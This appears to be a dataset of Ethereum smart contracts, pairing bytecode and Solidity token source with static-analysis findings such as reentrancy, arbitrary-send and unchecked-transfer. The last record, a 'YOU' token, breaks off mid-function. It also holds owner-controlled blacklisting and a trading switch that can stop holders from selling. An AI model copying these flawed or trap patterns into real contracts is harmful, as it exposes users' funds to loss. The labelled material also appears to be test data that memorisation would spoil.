810181811085821117156118165761181661178a565b60405291825284820192508381018501918883111561183457600080fd5b938501935b828510156118595761184a856116eb565b84529385019392850192611839565b98975050505050505050565b60006020828403121561187757600080fd5b813561153b816116d6565b60006020828403121561189457600080fd5b5035919050565b801515811461086157600080fd5b6000602082840312156118bb57600080fd5b813561153b8161189b565b600080604083850312156118d957600080fd5b82356118e4816116d6565b915060208301356118f4816116d6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008282101561195c5761195c611934565b500390565b634e487b7160e01b600052603260045260246000fd5b600060001982141561198b5761198b611934565b5060010190565b6000602082840312156119a457600080fd5b815161153b816116d6565b6000806000606084860312156119c457600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119ef57600080fd5b815161153b8161189b565b60008219821115611a0d57611a0d611934565b500190565b6000816000190483118215151615611a2c57611a2c611934565b500290565b600082611a4e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aa35784516001600160a01b031683529383019391830191600101611a7e565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f450e833e63bf16d830db183a1060edf33142a0615ef6a27d5d0360ec7dfa63c64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,614 |
0x796185713e10d704cd834fd7b00aacb2b81d3003
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = true;
bool public pausedOwnerAdmin = false;
address public admin;
/**
* @dev Modifier to make a function callable based on pause states.
*/
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner);
} else {
revert();
}
}
_;
}
/**
* @dev called by the owner to set new pause flags
* pausedPublic can't be false while pausedOwnerAdmin is true
*/
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public {
require(!(newPausedPublic == false && newPausedOwnerAdmin == true));
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
PausePublic(newPausedPublic);
PauseOwnerAdmin(newPausedOwnerAdmin);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CECNaypyidaw is PausableToken {
string public constant name = "CEC Naypyidaw";
string public constant symbol = "CEC";
uint8 public constant decimals = 18;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
function CECNaypyidaw( address _admin, uint _totalTokenAmount )
{
// assign the admin account
admin = _admin;
// assign the total tokens to CECNaypyidaw
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
Transfer(address(0x0), msg.sender, _totalTokenAmount);
}
function transfer(address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) returns (bool)
{
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
// owner can drain tokens that are sent here by mistake
token.transfer( owner, amount );
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
function changeAdmin(address newAdmin) onlyOwner {
// owner can re-assign the admin
AdminTransferred(admin, newAdmin);
admin = newAdmin;
}
}
|
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e157806323b872dd1461020657806324bb7c261461022e578063313ce5671461024157806342966c681461026a57806364779ad714610280578063661884631461029357806370a08231146102b557806379cc6790146102d45780638da5cb5b146102f65780638f2839701461032557806395d89b4114610346578063a9059cbb14610359578063d73dd6231461037b578063db0e16f11461039d578063dd62ed3e146103bf578063ddeb5094146103e4578063f2fde38b14610401578063f851a44014610420575b600080fd5b341561012c57600080fd5b610134610433565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610170578082015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b657600080fd5b6101cd600160a060020a036004351660243561046a565b604051901515815260200160405180910390f35b34156101ec57600080fd5b6101f46104d9565b60405190815260200160405180910390f35b341561021157600080fd5b6101cd600160a060020a03600435811690602435166044356104df565b341561023957600080fd5b6101cd61052c565b341561024c57600080fd5b61025461053c565b60405160ff909116815260200160405180910390f35b341561027557600080fd5b6101cd600435610541565b341561028b57600080fd5b6101cd61061e565b341561029e57600080fd5b6101cd600160a060020a036004351660243561062e565b34156102c057600080fd5b6101f4600160a060020a0360043516610696565b34156102df57600080fd5b6101cd600160a060020a03600435166024356106b1565b341561030157600080fd5b6103096106cf565b604051600160a060020a03909116815260200160405180910390f35b341561033057600080fd5b610344600160a060020a03600435166106de565b005b341561035157600080fd5b610134610764565b341561036457600080fd5b6101cd600160a060020a036004351660243561079b565b341561038657600080fd5b6101cd600160a060020a03600435166024356107e6565b34156103a857600080fd5b610344600160a060020a036004351660243561084e565b34156103ca57600080fd5b6101f4600160a060020a0360043581169060243516610904565b34156103ef57600080fd5b6103446004351515602435151561092f565b341561040c57600080fd5b610344600160a060020a0360043516610a1d565b341561042b57600080fd5b610309610ab8565b60408051908101604052600d81527f434543204e617970796964617700000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156104c85760035460a860020a900460ff16151561011c5760045433600160a060020a03908116911614806104bd575060035433600160a060020a039081169116145b15156104c857600080fd5b6104d28383610ac7565b9392505050565b60005481565b600082600160a060020a03811615156104f757600080fd5b30600160a060020a031681600160a060020a03161415151561051857600080fd5b610523858585610b33565b95945050505050565b60035460a060020a900460ff1681565b601281565b600160a060020a03331660009081526001602052604081205461056a908363ffffffff610b9c16565b600160a060020a03331660009081526001602052604081209190915554610597908363ffffffff610b9c16565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2600033600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3506001919050565b60035460a860020a900460ff1681565b60035460009060a060020a900460ff161561068c5760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610681575060035433600160a060020a039081169116145b151561068c57600080fd5b6104d28383610bae565b600160a060020a031660009081526001602052604090205490565b60006106be8333846104df565b15156106c657fe5b6104d282610541565b600354600160a060020a031681565b60035433600160a060020a039081169116146106f957600080fd5b600454600160a060020a0380831691167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051908101604052600381527f4345430000000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a03811615156107b357600080fd5b30600160a060020a031681600160a060020a0316141515156107d457600080fd5b6107de8484610ca8565b949350505050565b60035460009060a060020a900460ff16156108445760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610839575060035433600160a060020a039081169116145b151561084457600080fd5b6104d28383610d10565b60035433600160a060020a0390811691161461086957600080fd5b600354600160a060020a038084169163a9059cbb9116836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108e557600080fd5b6102c65a03f115156108f657600080fd5b505050604051805150505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461094a57600080fd5b8115801561095a57506001811515145b1561096457600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a841515021775ff000000000000000000000000000000000000000000191660a860020a831515021790557fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051901515815260200160405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051901515815260200160405180910390a15050565b60035433600160a060020a03908116911614610a3857600080fd5b600160a060020a0381161515610a4d57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035460009060a060020a900460ff1615610b915760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610b86575060035433600160a060020a039081169116145b1515610b9157600080fd5b6107de848484610db4565b600082821115610ba857fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c0b57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c42565b610c1b818463ffffffff610b9c16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b60035460009060a060020a900460ff1615610d065760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610cfb575060035433600160a060020a039081169116145b1515610d0657600080fd5b6104d28383610f36565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d48908363ffffffff61103116565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610dcb57600080fd5b600160a060020a038416600090815260016020526040902054821115610df057600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610e2357600080fd5b600160a060020a038416600090815260016020526040902054610e4c908363ffffffff610b9c16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610e81908363ffffffff61103116565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610ec9908363ffffffff610b9c16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610f4d57600080fd5b600160a060020a033316600090815260016020526040902054821115610f7257600080fd5b600160a060020a033316600090815260016020526040902054610f9b908363ffffffff610b9c16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610fd0908363ffffffff61103116565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000828201838110156104d257fe00a165627a7a7230582011e150ec3480668c545cadda864cff582451b63e3985b70fad25311ed370a9ff0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 1,615 |
0x37e6f1324e68f0bb7826e1716f29e83bd7e47e91
|
/**
*Submitted for verification at Etherscan.io on 2022-03-27
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract YOU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "YOU";
string private constant _symbol = "YOU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _devTax;
uint256 private _buyDevTax = 5;
uint256 private _sellDevTax = 5;
uint256 private _marketingTax;
uint256 private _buyMarketingTax = 5;
uint256 private _sellMarketingTax = 5;
uint256 private _totalBuyTax = _buyDevTax + _buyMarketingTax;
uint256 private _totalSellTax = _sellDevTax + _sellMarketingTax;
uint256 private _summedTax = _marketingTax;
uint256 private _numOfTokensToExchangeForTeam = 1000 * 10**9;
uint256 private _routermax = 2000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _devWalletAddress;
address payable private _holdings;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketingTaxAddress, address payable devfeeAddr) {
_Marketingfund = marketingTaxAddress;
_devWalletAddress = devfeeAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_devWalletAddress] = true;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // bsc 0x10ED43C718714eb63d5aA57B78B54704E256024E eth 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_devTax == 0 && _summedTax == 0) return;
_devTax = 0;
_summedTax = 0;
}
function restoreAllFee() private {
_devTax = _buyDevTax;
_marketingTax = _buyMarketingTax;
_summedTax = _marketingTax;
}
function takeBuyFee() private {
_marketingTax = _buyMarketingTax;
_devTax = _buyDevTax;
_summedTax = _marketingTax;
}
function takeSellFee() private {
_devTax = _sellDevTax;
_marketingTax = _sellMarketingTax;
_summedTax = _sellMarketingTax;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
if (from != owner() && to != owner() && to != uniswapV2Pair) {
require(swapEnabled, "Swap disabled");
_tokenTransfer(from, to, amount, takeFee);
} else {
_tokenTransfer(from, to, amount, takeFee);
}
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), type(uint256).max);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(_totalBuyTax).mul(_buyMarketingTax));
_devWalletAddress.transfer(amount.div(_totalBuyTax).mul(_buyDevTax));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = _tTotal;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external onlyOwner() {
swapEnabled = enabled;
}
function manualswap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function setBot(address _bot) external onlyOwner() {
bots[_bot] = true;
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
uint256 amountToTx = amount;
if (!takeFee) {
removeAllFee();
}
else if(sender == uniswapV2Pair) {
takeBuyFee();
}
else if(recipient == uniswapV2Pair) {
takeSellFee();
}
else {
takeSellFee();
}
_transferStandard(sender, recipient, amountToTx);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _devTax, _summedTax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 _taxFee = taxFee > 0 ? taxFee : 1;
uint256 _TeamFee = TeamFee > 0 ? TeamFee : 1;
uint256 tFee = tAmount.mul(_taxFee).div(100);
uint256 tTeam = tAmount.mul(_TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
